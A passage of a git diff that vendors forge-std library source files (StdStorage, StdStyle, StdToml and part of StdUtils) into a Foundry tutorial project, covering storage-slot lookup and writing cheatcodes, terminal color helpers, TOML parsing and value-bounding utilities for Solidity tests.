+        // `findOffset` may mutate slot value, so we are setting it to initial value
+        vm.store(self._target, slot, prevSlotValue);
+        return (foundLeft && foundRight, offsetLeft, offsetRight);
+    }
+
+    function find(StdStorage storage self) internal returns (FindData storage) {
+        return find(self, true);
+    }
+
+    /// @notice find an arbitrary storage slot given a function sig, input data, address of the contract and a value to check against
+    // slot complexity:
+    //  if flat, will be bytes32(uint256(uint));
+    //  if map, will be keccak256(abi.encode(key, uint(slot)));
+    //  if deep map, will be keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))));
+    //  if map struct, will be bytes32(uint256(keccak256(abi.encode(key1, keccak256(abi.encode(key0, uint(slot)))))) + structFieldDepth);
+    function find(StdStorage storage self, bool _clear) internal returns (FindData storage) {
+        address who = self._target;
+        bytes4 fsig = self._sig;
+        uint256 field_depth = self._depth;
+        bytes memory params = getCallParams(self);
+
+        // calldata to test against
+        if (self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found) {
+            if (_clear) {
+                clear(self);
+            }
+            return self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+        }
+        vm.record();
+        (, bytes32 callResult) = callTarget(self);
+        (bytes32[] memory reads, ) = vm.accesses(address(who));
+
+        if (reads.length == 0) {
+            revert('stdStorage find(StdStorage): No storage use detected for target.');
+        } else {
+            for (uint256 i = 0; i < reads.length; i++) {
+                bytes32 prev = vm.load(who, reads[i]);
+                if (prev == bytes32(0)) {
+                    emit WARNING_UninitedSlot(who, uint256(reads[i]));
+                }
+
+                if (!checkSlotMutatesCall(self, reads[i])) {
+                    continue;
+                }
+
+                (uint256 offsetLeft, uint256 offsetRight) = (0, 0);
+
+                if (self._enable_packed_slots) {
+                    bool found;
+                    (found, offsetLeft, offsetRight) = findOffsets(self, reads[i]);
+                    if (!found) {
+                        continue;
+                    }
+                }
+
+                // Check that value between found offsets is equal to the current call result
+                uint256 curVal = (uint256(prev) & getMaskByOffsets(offsetLeft, offsetRight)) >> offsetRight;
+
+                if (uint256(callResult) != curVal) {
+                    continue;
+                }
+
+                emit SlotFound(who, fsig, keccak256(abi.encodePacked(params, field_depth)), uint256(reads[i]));
+                self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))] = FindData(uint256(reads[i]), offsetLeft, offsetRight, true);
+                break;
+            }
+        }
+
+        require(self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found, 'stdStorage find(StdStorage): Slot(s) not found.');
+
+        if (_clear) {
+            clear(self);
+        }
+        return self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+    }
+
+    function target(StdStorage storage self, address _target) internal returns (StdStorage storage) {
+        self._target = _target;
+        return self;
+    }
+
+    function sig(StdStorage storage self, bytes4 _sig) internal returns (StdStorage storage) {
+        self._sig = _sig;
+        return self;
+    }
+
+    function sig(StdStorage storage self, string memory _sig) internal returns (StdStorage storage) {
+        self._sig = sigs(_sig);
+        return self;
+    }
+
+    function with_calldata(StdStorage storage self, bytes memory _calldata) internal returns (StdStorage storage) {
+        self._calldata = _calldata;
+        return self;
+    }
+
+    function with_key(StdStorage storage self, address who) internal returns (StdStorage storage) {
+        self._keys.push(bytes32(uint256(uint160(who))));
+        return self;
+    }
+
+    function with_key(StdStorage storage self, uint256 amt) internal returns (StdStorage storage) {
+        self._keys.push(bytes32(amt));
+        return self;
+    }
+
+    function with_key(StdStorage storage self, bytes32 key) internal returns (StdStorage storage) {
+        self._keys.push(key);
+        return self;
+    }
+
+    function enable_packed_slots(StdStorage storage self) internal returns (StdStorage storage) {
+        self._enable_packed_slots = true;
+        return self;
+    }
+
+    function depth(StdStorage storage self, uint256 _depth) internal returns (StdStorage storage) {
+        self._depth = _depth;
+        return self;
+    }
+
+    function read(StdStorage storage self) private returns (bytes memory) {
+        FindData storage data = find(self, false);
+        uint256 mask = getMaskByOffsets(data.offsetLeft, data.offsetRight);
+        uint256 value = (uint256(vm.load(self._target, bytes32(data.slot))) & mask) >> data.offsetRight;
+        clear(self);
+        return abi.encode(value);
+    }
+
+    function read_bytes32(StdStorage storage self) internal returns (bytes32) {
+        return abi.decode(read(self), (bytes32));
+    }
+
+    function read_bool(StdStorage storage self) internal returns (bool) {
+        int256 v = read_int(self);
+        if (v == 0) return false;
+        if (v == 1) return true;
+        revert('stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.');
+    }
+
+    function read_address(StdStorage storage self) internal returns (address) {
+        return abi.decode(read(self), (address));
+    }
+
+    function read_uint(StdStorage storage self) internal returns (uint256) {
+        return abi.decode(read(self), (uint256));
+    }
+
+    function read_int(StdStorage storage self) internal returns (int256) {
+        return abi.decode(read(self), (int256));
+    }
+
+    function parent(StdStorage storage self) internal returns (uint256, bytes32) {
+        address who = self._target;
+        uint256 field_depth = self._depth;
+        vm.startMappingRecording();
+        uint256 child = find(self, true).slot - field_depth;
+        (bool found, bytes32 key, bytes32 parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(child));
+        if (!found) {
+            revert('stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.');
+        }
+        return (uint256(parent_slot), key);
+    }
+
+    function root(StdStorage storage self) internal returns (uint256) {
+        address who = self._target;
+        uint256 field_depth = self._depth;
+        vm.startMappingRecording();
+        uint256 child = find(self, true).slot - field_depth;
+        bool found;
+        bytes32 root_slot;
+        bytes32 parent_slot;
+        (found, , parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(child));
+        if (!found) {
+            revert('stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.');
+        }
+        while (found) {
+            root_slot = parent_slot;
+            (found, , parent_slot) = vm.getMappingKeyAndParentOf(who, bytes32(root_slot));
+        }
+        return uint256(root_slot);
+    }
+
+    function bytesToBytes32(bytes memory b, uint256 offset) private pure returns (bytes32) {
+        bytes32 out;
+
+        uint256 max = b.length > 32 ? 32 : b.length;
+        for (uint256 i = 0; i < max; i++) {
+            out |= bytes32(b[offset + i] & 0xFF) >> (i * 8);
+        }
+        return out;
+    }
+
+    function flatten(bytes32[] memory b) private pure returns (bytes memory) {
+        bytes memory result = new bytes(b.length * 32);
+        for (uint256 i = 0; i < b.length; i++) {
+            bytes32 k = b[i];
+            /// @solidity memory-safe-assembly
+            assembly {
+                mstore(add(result, add(32, mul(32, i))), k)
+            }
+        }
+
+        return result;
+    }
+
+    function clear(StdStorage storage self) internal {
+        delete self._target;
+        delete self._sig;
+        delete self._keys;
+        delete self._depth;
+        delete self._enable_packed_slots;
+        delete self._calldata;
+    }
+
+    // Returns mask which contains non-zero bits for values between `offsetLeft` and `offsetRight`
+    // (slotValue & mask) >> offsetRight will be the value of the given packed variable
+    function getMaskByOffsets(uint256 offsetLeft, uint256 offsetRight) internal pure returns (uint256 mask) {
+        // mask = ((1 << (256 - (offsetRight + offsetLeft))) - 1) << offsetRight;
+        // using assembly because (1 << 256) causes overflow
+        assembly {
+            mask := shl(offsetRight, sub(shl(sub(256, add(offsetRight, offsetLeft)), 1), 1))
+        }
+    }
+
+    // Returns slot value with updated packed variable.
+    function getUpdatedSlotValue(
+        bytes32 curValue,
+        uint256 varValue,
+        uint256 offsetLeft,
+        uint256 offsetRight
+    ) internal pure returns (bytes32 newValue) {
+        return bytes32((uint256(curValue) & ~getMaskByOffsets(offsetLeft, offsetRight)) | (varValue << offsetRight));
+    }
+}
+
+library stdStorage {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function sigs(string memory sigStr) internal pure returns (bytes4) {
+        return stdStorageSafe.sigs(sigStr);
+    }
+
+    function find(StdStorage storage self) internal returns (uint256) {
+        return find(self, true);
+    }
+
+    function find(StdStorage storage self, bool _clear) internal returns (uint256) {
+        return stdStorageSafe.find(self, _clear).slot;
+    }
+
+    function target(StdStorage storage self, address _target) internal returns (StdStorage storage) {
+        return stdStorageSafe.target(self, _target);
+    }
+
+    function sig(StdStorage storage self, bytes4 _sig) internal returns (StdStorage storage) {
+        return stdStorageSafe.sig(self, _sig);
+    }
+
+    function sig(StdStorage storage self, string memory _sig) internal returns (StdStorage storage) {
+        return stdStorageSafe.sig(self, _sig);
+    }
+
+    function with_key(StdStorage storage self, address who) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, who);
+    }
+
+    function with_key(StdStorage storage self, uint256 amt) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, amt);
+    }
+
+    function with_key(StdStorage storage self, bytes32 key) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_key(self, key);
+    }
+
+    function with_calldata(StdStorage storage self, bytes memory _calldata) internal returns (StdStorage storage) {
+        return stdStorageSafe.with_calldata(self, _calldata);
+    }
+
+    function enable_packed_slots(StdStorage storage self) internal returns (StdStorage storage) {
+        return stdStorageSafe.enable_packed_slots(self);
+    }
+
+    function depth(StdStorage storage self, uint256 _depth) internal returns (StdStorage storage) {
+        return stdStorageSafe.depth(self, _depth);
+    }
+
+    function clear(StdStorage storage self) internal {
+        stdStorageSafe.clear(self);
+    }
+
+    function checked_write(StdStorage storage self, address who) internal {
+        checked_write(self, bytes32(uint256(uint160(who))));
+    }
+
+    function checked_write(StdStorage storage self, uint256 amt) internal {
+        checked_write(self, bytes32(amt));
+    }
+
+    function checked_write_int(StdStorage storage self, int256 val) internal {
+        checked_write(self, bytes32(uint256(val)));
+    }
+
+    function checked_write(StdStorage storage self, bool write) internal {
+        bytes32 t;
+        /// @solidity memory-safe-assembly
+        assembly {
+            t := write
+        }
+        checked_write(self, t);
+    }
+
+    function checked_write(StdStorage storage self, bytes32 set) internal {
+        address who = self._target;
+        bytes4 fsig = self._sig;
+        uint256 field_depth = self._depth;
+        bytes memory params = stdStorageSafe.getCallParams(self);
+
+        if (!self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))].found) {
+            find(self, false);
+        }
+        FindData storage data = self.finds[who][fsig][keccak256(abi.encodePacked(params, field_depth))];
+        if ((data.offsetLeft + data.offsetRight) > 0) {
+            uint256 maxVal = 2 ** (256 - (data.offsetLeft + data.offsetRight));
+            require(
+                uint256(set) < maxVal,
+                string(abi.encodePacked("stdStorage find(StdStorage): Packed slot. We can't fit value greater than ", vm.toString(maxVal)))
+            );
+        }
+        bytes32 curVal = vm.load(who, bytes32(data.slot));
+        bytes32 valToSet = stdStorageSafe.getUpdatedSlotValue(curVal, uint256(set), data.offsetLeft, data.offsetRight);
+
+        vm.store(who, bytes32(data.slot), valToSet);
+
+        (bool success, bytes32 callResult) = stdStorageSafe.callTarget(self);
+
+        if (!success || callResult != set) {
+            vm.store(who, bytes32(data.slot), curVal);
+            revert('stdStorage find(StdStorage): Failed to write value.');
+        }
+        clear(self);
+    }
+
+    function read_bytes32(StdStorage storage self) internal returns (bytes32) {
+        return stdStorageSafe.read_bytes32(self);
+    }
+
+    function read_bool(StdStorage storage self) internal returns (bool) {
+        return stdStorageSafe.read_bool(self);
+    }
+
+    function read_address(StdStorage storage self) internal returns (address) {
+        return stdStorageSafe.read_address(self);
+    }
+
+    function read_uint(StdStorage storage self) internal returns (uint256) {
+        return stdStorageSafe.read_uint(self);
+    }
+
+    function read_int(StdStorage storage self) internal returns (int256) {
+        return stdStorageSafe.read_int(self);
+    }
+
+    function parent(StdStorage storage self) internal returns (uint256, bytes32) {
+        return stdStorageSafe.parent(self);
+    }
+
+    function root(StdStorage storage self) internal returns (uint256) {
+        return stdStorageSafe.root(self);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdStyle.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdStyle.sol
new file mode 100644
index 000000000..0f77c852c
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdStyle.sol
@@ -0,0 +1,333 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+import {VmSafe} from './Vm.sol';
+
+library StdStyle {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    string constant RED = '\u001b[91m';
+    string constant GREEN = '\u001b[92m';
+    string constant YELLOW = '\u001b[93m';
+    string constant BLUE = '\u001b[94m';
+    string constant MAGENTA = '\u001b[95m';
+    string constant CYAN = '\u001b[96m';
+    string constant BOLD = '\u001b[1m';
+    string constant DIM = '\u001b[2m';
+    string constant ITALIC = '\u001b[3m';
+    string constant UNDERLINE = '\u001b[4m';
+    string constant INVERSE = '\u001b[7m';
+    string constant RESET = '\u001b[0m';
+
+    function styleConcat(string memory style, string memory self) private pure returns (string memory) {
+        return string(abi.encodePacked(style, self, RESET));
+    }
+
+    function red(string memory self) internal pure returns (string memory) {
+        return styleConcat(RED, self);
+    }
+
+    function red(uint256 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(int256 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(address self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function red(bool self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function redBytes(bytes memory self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function redBytes32(bytes32 self) internal pure returns (string memory) {
+        return red(vm.toString(self));
+    }
+
+    function green(string memory self) internal pure returns (string memory) {
+        return styleConcat(GREEN, self);
+    }
+
+    function green(uint256 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(int256 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(address self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function green(bool self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function greenBytes(bytes memory self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function greenBytes32(bytes32 self) internal pure returns (string memory) {
+        return green(vm.toString(self));
+    }
+
+    function yellow(string memory self) internal pure returns (string memory) {
+        return styleConcat(YELLOW, self);
+    }
+
+    function yellow(uint256 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(int256 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(address self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellow(bool self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellowBytes(bytes memory self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function yellowBytes32(bytes32 self) internal pure returns (string memory) {
+        return yellow(vm.toString(self));
+    }
+
+    function blue(string memory self) internal pure returns (string memory) {
+        return styleConcat(BLUE, self);
+    }
+
+    function blue(uint256 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(int256 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(address self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blue(bool self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blueBytes(bytes memory self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function blueBytes32(bytes32 self) internal pure returns (string memory) {
+        return blue(vm.toString(self));
+    }
+
+    function magenta(string memory self) internal pure returns (string memory) {
+        return styleConcat(MAGENTA, self);
+    }
+
+    function magenta(uint256 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(int256 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(address self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magenta(bool self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magentaBytes(bytes memory self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function magentaBytes32(bytes32 self) internal pure returns (string memory) {
+        return magenta(vm.toString(self));
+    }
+
+    function cyan(string memory self) internal pure returns (string memory) {
+        return styleConcat(CYAN, self);
+    }
+
+    function cyan(uint256 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(int256 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(address self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyan(bool self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyanBytes(bytes memory self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function cyanBytes32(bytes32 self) internal pure returns (string memory) {
+        return cyan(vm.toString(self));
+    }
+
+    function bold(string memory self) internal pure returns (string memory) {
+        return styleConcat(BOLD, self);
+    }
+
+    function bold(uint256 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(int256 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(address self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function bold(bool self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function boldBytes(bytes memory self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function boldBytes32(bytes32 self) internal pure returns (string memory) {
+        return bold(vm.toString(self));
+    }
+
+    function dim(string memory self) internal pure returns (string memory) {
+        return styleConcat(DIM, self);
+    }
+
+    function dim(uint256 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(int256 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(address self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dim(bool self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dimBytes(bytes memory self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function dimBytes32(bytes32 self) internal pure returns (string memory) {
+        return dim(vm.toString(self));
+    }
+
+    function italic(string memory self) internal pure returns (string memory) {
+        return styleConcat(ITALIC, self);
+    }
+
+    function italic(uint256 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(int256 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(address self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italic(bool self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italicBytes(bytes memory self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function italicBytes32(bytes32 self) internal pure returns (string memory) {
+        return italic(vm.toString(self));
+    }
+
+    function underline(string memory self) internal pure returns (string memory) {
+        return styleConcat(UNDERLINE, self);
+    }
+
+    function underline(uint256 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(int256 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(address self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underline(bool self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underlineBytes(bytes memory self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function underlineBytes32(bytes32 self) internal pure returns (string memory) {
+        return underline(vm.toString(self));
+    }
+
+    function inverse(string memory self) internal pure returns (string memory) {
+        return styleConcat(INVERSE, self);
+    }
+
+    function inverse(uint256 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(int256 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(address self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverse(bool self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverseBytes(bytes memory self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+
+    function inverseBytes32(bytes32 self) internal pure returns (string memory) {
+        return inverse(vm.toString(self));
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdToml.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdToml.sol
new file mode 100644
index 000000000..73055287e
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdToml.sol
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.0 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {VmSafe} from './Vm.sol';
+
+// Helpers for parsing and writing TOML files
+// To parse:
+// ```
+// using stdToml for string;
+// string memory toml = vm.readFile("<some_path>");
+// toml.readUint("<json_path>");
+// ```
+// To write:
+// ```
+// using stdToml for string;
+// string memory json = "json";
+// json.serialize("a", uint256(123));
+// string memory semiFinal = json.serialize("b", string("test"));
+// string memory finalJson = json.serialize("c", semiFinal);
+// finalJson.write("<some_path>");
+// ```
+
+library stdToml {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function parseRaw(string memory toml, string memory key) internal pure returns (bytes memory) {
+        return vm.parseToml(toml, key);
+    }
+
+    function readUint(string memory toml, string memory key) internal pure returns (uint256) {
+        return vm.parseTomlUint(toml, key);
+    }
+
+    function readUintArray(string memory toml, string memory key) internal pure returns (uint256[] memory) {
+        return vm.parseTomlUintArray(toml, key);
+    }
+
+    function readInt(string memory toml, string memory key) internal pure returns (int256) {
+        return vm.parseTomlInt(toml, key);
+    }
+
+    function readIntArray(string memory toml, string memory key) internal pure returns (int256[] memory) {
+        return vm.parseTomlIntArray(toml, key);
+    }
+
+    function readBytes32(string memory toml, string memory key) internal pure returns (bytes32) {
+        return vm.parseTomlBytes32(toml, key);
+    }
+
+    function readBytes32Array(string memory toml, string memory key) internal pure returns (bytes32[] memory) {
+        return vm.parseTomlBytes32Array(toml, key);
+    }
+
+    function readString(string memory toml, string memory key) internal pure returns (string memory) {
+        return vm.parseTomlString(toml, key);
+    }
+
+    function readStringArray(string memory toml, string memory key) internal pure returns (string[] memory) {
+        return vm.parseTomlStringArray(toml, key);
+    }
+
+    function readAddress(string memory toml, string memory key) internal pure returns (address) {
+        return vm.parseTomlAddress(toml, key);
+    }
+
+    function readAddressArray(string memory toml, string memory key) internal pure returns (address[] memory) {
+        return vm.parseTomlAddressArray(toml, key);
+    }
+
+    function readBool(string memory toml, string memory key) internal pure returns (bool) {
+        return vm.parseTomlBool(toml, key);
+    }
+
+    function readBoolArray(string memory toml, string memory key) internal pure returns (bool[] memory) {
+        return vm.parseTomlBoolArray(toml, key);
+    }
+
+    function readBytes(string memory toml, string memory key) internal pure returns (bytes memory) {
+        return vm.parseTomlBytes(toml, key);
+    }
+
+    function readBytesArray(string memory toml, string memory key) internal pure returns (bytes[] memory) {
+        return vm.parseTomlBytesArray(toml, key);
+    }
+
+    function serialize(string memory jsonKey, string memory rootObject) internal returns (string memory) {
+        return vm.serializeJson(jsonKey, rootObject);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool[] memory value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256 value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256[] memory value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256 value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256[] memory value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address[] memory value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32 value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32[] memory value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes[] memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string[] memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function write(string memory jsonKey, string memory path) internal {
+        vm.writeToml(jsonKey, path);
+    }
+
+    function write(string memory jsonKey, string memory path, string memory valueKey) internal {
+        vm.writeToml(jsonKey, path, valueKey);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdUtils.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdUtils.sol
new file mode 100644
index 000000000..b6c9db022
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdUtils.sol
@@ -0,0 +1,207 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {IMulticall3} from './interfaces/IMulticall3.sol';
+import {MockERC20} from './mocks/MockERC20.sol';
+import {MockERC721} from './mocks/MockERC721.sol';
+import {VmSafe} from './Vm.sol';
+
+abstract contract StdUtils {
+    /*//////////////////////////////////////////////////////////////////////////
+                                     CONSTANTS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    IMulticall3 private constant multicall = IMulticall3(0xcA11bde05977b3631167028862bE2a173976CA11);
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+    address private constant CONSOLE2_ADDRESS = 0x000000000000000000636F6e736F6c652e6c6f67;
+    uint256 private constant INT256_MIN_ABS = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+    uint256 private constant SECP256K1_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337;
+    uint256 private constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    // Used by default when deploying with create2, https://github.com/Arachnid/deterministic-deployment-proxy.
+    address private constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                 INTERNAL FUNCTIONS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function _bound(uint256 x, uint256 min, uint256 max) internal pure virtual returns (uint256 result) {
+        require(min <= max, 'StdUtils bound(uint256,uint256,uint256): Max is less than min.');
+        // If x is between min and max, return x directly. This is to ensure that dictionary values
+        // do not get shifted if the min is nonzero. More info: https://github.com/foundry-rs/forge-std/issues/188
+        if (x >= min && x <= max) return x;
+
+        uint256 size = max - min + 1;
+
+        // If the value is 0, 1, 2, 3, wrap that to min, min+1, min+2, min+3. Similarly for the UINT256_MAX side.
+        // This helps ensure coverage of the min/max values.
+        if (x <= 3 && size > x) return min + x;
+        if (x >= UINT256_MAX - 3 && size > UINT256_MAX - x) return max - (UINT256_MAX - x);
+
+        // Otherwise, wrap x into the range [min, max], i.e. the range is inclusive.
+        if (x > max) {
+            uint256 diff = x - max;
+            uint256 rem = diff % size;
+            if (rem == 0) return max;
+            result = min + rem - 1;
+        } else if (x < min) {
+            uint256 diff = min - x;
+            uint256 rem = diff % size;
+            if (rem == 0) return min;
+            result = max - rem + 1;
+        }
+    }
+
+    function bound(uint256 x, uint256 min, uint256 max) internal pure virtual returns (uint256 result) {
+        result = _bound(x, min, max);
+        console2_log_StdUtils('Bound Result', result);
+    }
+
+    function _bound(int256 x, int256 min, int256 max) internal pure virtual returns (int256 result) {
+        require(min <= max, 'StdUtils bound(int256,int256,int256): Max is less than min.');
+
+        // Shifting all int256 values to uint256 to use _bound function. The range of two types are:
+        // int256 : -(2**255) ~ (2**255 - 1)
+        // uint256:     0     ~ (2**256 - 1)
+        // So, add 2**255, INT256_MIN_ABS to the integer values.
+        //
+        // If the given integer value is -2**255, we cannot use `-uint256(-x)` because of the overflow.
+        // So, use `~uint256(x) + 1` instead.
+        uint256 _x = x < 0 ? (INT256_MIN_ABS - ~uint256(x) - 1) : (uint256(x) + INT256_MIN_ABS);
+        uint256 _min = min < 0 ? (INT256_MIN_ABS - ~uint256(min) - 1) : (uint256(min) + INT256_MIN_ABS);
+        uint256 _max = max < 0 ? (INT256_MIN_ABS - ~uint256(max) - 1) : (uint256(max) + INT256_MIN_ABS);
+
+        uint256 y = _bound(_x, _min, _max);
+
+        // To move it back to int256 value, subtract INT256_MIN_ABS at here.
+        result = y < INT256_MIN_ABS ? int256(~(INT256_MIN_ABS - y) + 1) : int256(y - INT256_MIN_ABS);
+    }
+
+    function bound(int256 x, int256 min, int256 max) internal pure virtual returns (int256 result) {
+        result = _bound(x, min, max);
+        console2_log_StdUtils('Bound result', vm.toString(result));
+    }
+
+    function boundPrivateKey(uint256 privateKey) internal pure virtual returns (uint256 result) {
+        result = _bound(privateKey, 1, SECP256K1_ORDER - 1);
+    }
+
+    function bytesToUint(bytes memory b) internal pure virtual returns (uint256) {
+        require(b.length <= 32, 'StdUtils bytesToUint(bytes): Bytes length exceeds 32.');
+        return abi.decode(abi.encodePacked(new bytes(32 - b.length), b), (uint256));
+    }
+
+    /// @dev Compute the address a contract will be deployed at for a given deployer address and nonce
+    /// @notice adapted from Solmate implementation (https://github.com/Rari-Capital/solmate/blob/main/src/utils/LibRLP.sol)
+    function computeCreateAddress(address deployer, uint256 nonce) internal pure virtual returns (address) {
+        console2_log_StdUtils('computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.');
